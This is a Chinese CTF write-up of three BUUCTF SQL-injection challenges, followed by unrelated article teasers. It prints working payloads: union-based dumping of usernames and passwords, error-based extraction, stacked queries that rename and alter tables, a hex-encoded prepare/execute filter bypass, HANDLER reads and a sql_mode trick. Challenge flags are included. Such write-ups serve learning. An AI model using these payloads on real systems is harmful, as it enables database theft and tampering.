BUUCTFSQL注入(部分)

原来靶场不是最折磨的,新手做ctf才是

                                  

1.[极客大挑战 2019]LoveSQL

我一共做了三题,先来讲里面最简单的题吧

看见一个登录框,先尝试注入,发现会报错,而且不过滤# ,于是就开始常规操作

1'  union select 1,database(),2 #

成功得到数据库 geek

然后后面就是背公式了

select group_concat(table_name) from information_schema.tables where table_schema="geek"

这样就能成功得到两个表 geekuser l0ve1ysq1

继续我们的poc

select 1,2,group_concat(column_name) from information_schema.columns where table_schema="geek" and table_name="l0ve1ysq1" 

得到三个字段 id username password

脱裤脱库

select 1,2,(select group_concat(username,"~",password) from l0ve1ysq1 )--+

最后的flag

flag{bd4b50b7-78a5-4efa-bfcd-ceec222b6cba}

2.[强网杯 2019]随便注

反手判断一个注入类型 ,单引号报错 即字符型注入

所以开始poc构造

extractvalue(1,concat(0x7e,(database()),0x7e))

得到当前数据库名字 supersqli

但是当我想故技重施的时候发现,他把select 都过滤了 

于是就想没得操作了啊??? 但是好像还有一个堆叠注入没试过 试试就逝世

1’;show tables;

 得到两个表  ,于是就构造两段poc

';show columns from words ; 
';show columns from `1919810931114514` ; 这个字段记得要用反引号括起来

看起来flag在 “1919810931114514” 表里面 然后

没有show value in flag 这种的东西的啊        然后就不会了

于是就去借鉴别人的了(如有侵权,请联系删除) 有三种方法

1.改表名

1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

这个就是将word表随便改给名字 并且将一串数字的表改成word ,并且添加一个自增的主键 并且将flag的长度改为100 因为原来的查询就是将 word表里面的值查询出来,这样就实现了偷天换日

2.编码绕过

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

其中就是将select *from where `1919810931114514`进行十六进制编码 

3. Handler 一个类似于指针的东西

有以下poc

';handler `1919810931114514` open;handler `1919810931114514` read next;

flag{ffe62566-f7eb-4ce9-88b8-76b0996ffae7}

3.[SUCTF 2019]EasySQL

这个可以说是三题里面最难的了,输入一个1 会出现这个

输入一个"会出现一个这个(nonono)

我们先去试一下 show tables 和show databases 

又和上一题一样,没有show values in Flag 这种东西啊 而且编码和handler都用不了

于是又去翻了一下别人的WP

 

原来别人是把源码猜出来了

这里就要普及一个知识先 如果查询的 select 中含有 || 只要有一个为真 那么它都会返回1(与值无关)

所以这就是为什么我们无论输入什么数字返回都会是1 而字符的话就报错 但是没有返回

所以它的源码就应该是(结合它的说法)

select $_POST['query'] || flag from flag

所以就是要看我们怎么绕过

于是就可以想办法把 ||绕过  于是就可以这样写 就能拿到flag 

*,1

flag{68dfdaf4-a5d5-4f7e-9548-757ae12926ea}

当然了,还看到大佬的做法是这样,这个就厉害了,通过设置模式,将|| 变成concat函数

1;set sql_mode=pipes_as_concat;select 1

也是能得到相同的结果的,涨芝士了

以上就是被BUUCTF折磨一天之后的WP了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/440239.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3985. 辗转相除法

一、题目 Problem #3985 - ECNU Online Judge 二、思路 第一眼还以为是最基本的欧几里得,然后一个劲地在那里找合适的一组整数,找了一会没找到,后面直接用随机查找一下子找到了 三、代码 import sun.misc.GC;import java.util.Random; impo…

类和对象 第五部分第六小节:函数调用运算符重载

1、函数调用运算符&#xff08;&#xff09;可以重载 由于重载后使用方式非常像函数的调用&#xff0c;因此称此为仿函数 代码案例&#xff1a;打印输出仿函数 #include<iostream> using namespace std; class MyPrint { public://重载函数调用运算符void operator()(str…

2分钟快速了解!全网最详细的性能测试教程之【Redis 简介和安装】

本篇文章主要介绍基于Redis的的简介和安装&#xff0c;其中参考了许多大佬写的文章&#xff0c;算是做一个Redis的基础教程吧。 Redis 简介 Redis 是完全开源的&#xff0c;遵守 BSD 协议&#xff0c;是一个高性能的 key-value 数据库。 Redis 与其他 key - value 缓存产品有…

【数据结构:顺序表】

文章目录 线性表顺序表1.1 顺序表结构的定义1.2 初始化顺序表1.3 检查顺序表空间1.4 打印1.5 尾插1.6 头插1.7 尾删1.8 头删1.9 查找1.10 指定位置插入1.11 删除指定位置数据1.12 销毁顺序表 数据结构(Data Structure)是计算机存储、组织数据的方式&#xff0c;指相互之间存在一…

2024情人节爱心表白--python代码

# coding=utf-8 import random import turtle from datetime import *# 抬起画笔,向前运动一段距离放下 def Skip(step):turtle.penup()turtle.forward(step)turtle

学会用Python分割、合并字符串

在很多情况下&#xff0c;我们需要对字符串进行分割或合并&#xff0c;以满足特定的需求&#xff0c;例如将字符串拆分成多个部分、将多个字符串合并成一个等等。Python提供了多种方法来进行字符串的分割和合并&#xff0c;本文将介绍其中几种常用的方法。 一、使用split()函数…

git仓库批量备份

git的mirror参数 在git中&#xff0c;--mirror是一个用于克隆和推送操作的参数。它用于创建一个镜像仓库&#xff0c;包含了源仓库的所有分支、标签和提交历史记录。 当使用git clone --mirror <source-repo>命令时&#xff0c;会创建一个完全相同的镜像仓库&#xff0…

promethues之POD搭建

服务自动发现 consonl node主机发现 kube-api自动发现 prometheus的容器化部署 mdkir prometheus cd prometheus mdkir node cd node vim node.yaml apiVersion: apps/v1 kind: DaemonSet metadata:name: node-exporternamespace: monitor-salabels:name: node-exporter sp…

Shell中sed编辑器

1.简介 sed是一种流编辑器&#xff0c;流编辑器会在编辑器处理数据之前基于预先提供的一组规则来编辑数据流。 sed编辑器可以根据命令来处理数据流中的数据&#xff0c;这些命令要么从命令行中输入&#xff0c;要么存储在一个 命令文本文件中。 2.sed编辑器的工作流程 sed…

实战教程:如何用Spring Boot和MySQL存储共享单车数据

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

STM32学习笔记一——初识STM32

目录 一、什么是ARM 二. Cortex 内核 三.什么是STM32 四.STM32核心板原理图&#xff1a; 五.STM32的内部结构&#xff1a; 六.stm32系统结构简化图 STM32基本原理分析&#xff1a; 七.典型型号——STM32F103ZET6 stm32——32位单片机&#xff08;数据总线是32位的&am…

docker可视化操作

docker可视化操作&#xff0c;ui界面操作 1.检查docker服务状态 docker status2.安装服务 部署 Portainer 1.从镜像仓库中拉取 Portainer&#xff1a;docker pull portainer/portainer2.创建数据卷&#xff1a; docker volume create portainer_db 3.启动 Portainer命令&…